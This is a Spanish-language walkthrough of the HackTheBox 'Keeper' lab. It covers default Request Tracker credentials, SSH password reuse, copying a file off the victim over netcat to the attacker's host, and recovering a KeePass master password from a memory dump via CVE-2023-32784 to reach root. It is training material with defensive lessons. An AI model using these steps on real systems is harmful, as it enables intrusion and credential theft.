Keeper

Writeup de la máquina Keeper (HackTheBox · Linux · Fácil) por NeMeZIS (@_emmb15). Expone un sistema de tickets Request Tracker (RT 4.4.4) que sigue con las credenciales de fábrica (root:password): con acceso al panel se filtra la contraseña de un usuario, que se reutiliza por SSH para la user flag. En el directorio del usuario aparece un volcado de memoria de KeePass afectado por la CVE-2023-32784, que permite recuperar la contraseña maestra en texto claro; dentro del .kdbx está la clave privada PuTTY de root, que tras convertirla a formato OpenSSH nos abre SSH como root sin contraseña. Las IPs reales se omiten a propósito (<IP HTB>): reemplazalas por la de tu instancia.

Créditos: parte de la metodología está inspirada en el contenido educativo de S4vitar (video). Todos los créditos a él por el enfoque de enseñanza.

Técnicas utilizadas

Conceptos clave

Fase 1 · Reconocimiento

Arrancamos con un escaneo de todos los puertos para ver qué está expuesto:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP HTB>

Salen dos: 22/SSH y 80/HTTP. Sobre ellos lanzamos un escaneo de versiones y scripts por defecto:

nmap -sCV -p22,80 <IP HTB>

searchsploit openssh no da nada aprovechable (la versión está al día), así que vamos directo a la web por la IP:

Aparece un enlace, pero al hacer clic el navegador falla:

El enlace apunta a keeper.htb y nuestro equipo no sabe a qué IP corresponde: es un dominio interno, no está en ningún DNS público. Lo resolvemos a mano añadiéndolo al /etc/hosts:

sudo nvim /etc/hosts

Guardamos, recargamos y ahora sí carga la web:

Fase 2 · Request Tracker con credenciales de fábrica

Es un panel de Request Tracker, de Best Practical. Probar admin:admin no funciona, pero buscando por el fabricante damos con sus credenciales por defecto:

Efectivamente, no cambiaron los valores de fábrica: entramos con root:password. El panel tiene mucha información, y la interesante está en Admin → Users → (elegir usuario):

En el perfil de Lise Nørgaard (lnorgaard) la contraseña está expuesta en texto plano dentro del propio panel:

Fase 3 · Acceso por SSH y user flag

Con esas credenciales probamos SSH, por si hay reutilización de contraseñas:

Reutiliza credenciales: estamos dentro. Ya podemos leer la user flag y pasar a la escalada:

Fase 4 · El botín: RT30000.zip

En el home hay un RT30000.zip. Para analizarlo con calma lo traemos a nuestra máquina. Primero abrimos un puerto en escucha con netcat, redirigiendo a un archivo:

sudo nc -lvnp 443 > archivo.zip

Y desde la víctima lo enviamos por ese puerto:

nc <NUESTRA IP> 443 < RT30000.zip

Comparamos los hashes en ambos lados para confirmar que llegó íntegro:

md5sum archivo.zip

Coinciden. Listamos y extraemos el contenido con 7z:

7z l archivo.zip
7z x archivo.zip

Trae dos piezas: un volcado de memoria (KeePassDumpFull.dmp) y una base de datos KeePass cifrada (passcodes.kdbx). Si intentamos abrir el .kdbx no pasamos del login: no tenemos la contraseña maestra.

Fase 5 · CVE-2023-32784: reconstruir la clave maestra

El otro archivo es un dump. Buscando vulnerabilidades de KeePass relacionadas con volcados de memoria damos con la CVE-2023-32784:

En GitHub encontramos la PoC de vdohney que reconstruye la contraseña maestra a partir del .dmp:

La descargamos con wget:

Y la ejecutamos pasándole el volcado:

python3 keepass_dump.py -f KeePassDumpFull.dmp

Recupera casi toda la contraseña, pero el primer carácter queda como desconocido (Unknown) — es justo la limitación de la CVE. La candidata parece una palabra en otro idioma; buscándola en Google encontramos la coincidencia:

Es rødgrød med fløde (un postre danés). Probamos a pegarla tal cual en KeePass y da error: seguramente trata las ø nórdicas como caracteres especiales.

keepassxc passcodes.kdbx

Vamos probando variantes (quitar caracteres especiales, espacios, mayúsculas…) hasta que abre: bastaba con quitar las mayúsculas.

Fase 6 · Escalada a root con la clave PuTTY

Dentro del gestor, en Passcodes → Network hay una contraseña de root. Nos la copiamos por si sirve para SSH:

Esa contraseña por SSH da error, pero en la misma entrada hay algo más valioso: lo que parece una clave privada SSH-RSA en formato PuTTY (.ppk):

Una .ppk no la entiende el ssh de Linux directamente; hay que convertirla. Para eso necesitamos las putty-tools:

Guardamos la clave en nuestra máquina:

En Arch la herramienta viene en el paquete putty:

sudo pacman -S putty

Convertimos la .ppk a formato OpenSSH:

puttygen Clave.ppk -O private-openssh -o Clave_rsa

Con la clave privada ya podemos entrar como root sin necesidad de contraseña:

ssh -i Clave_rsa root@<IP HTB>

Leemos la root flag y damos la máquina por comprometida. 🚩

Lecciones

• Cambiá siempre las credenciales de fábrica. El punto de entrada fue un Request Tracker con root:password sin tocar: las creds por defecto están documentadas públicamente y son de lo primero que se prueba.
• No muestres ni guardes contraseñas en claro. La "contraseña inicial" visible en el perfil del usuario, sumada al password reuse en SSH, entregó el primer acceso sin esfuerzo.
• Los secretos también viven en la memoria. La CVE-2023-32784 recupera la clave maestra de KeePass desde un volcado; nunca dejes accesibles dumps de procesos que manejan credenciales, y mantené el software actualizado (KeePass ≥ 2.54).
• Una clave privada es una identidad. La .ppk de root guardada en el gestor bastó para tomar la máquina entera. Custodiá las claves privadas como lo que son: acceso directo, sin contraseña.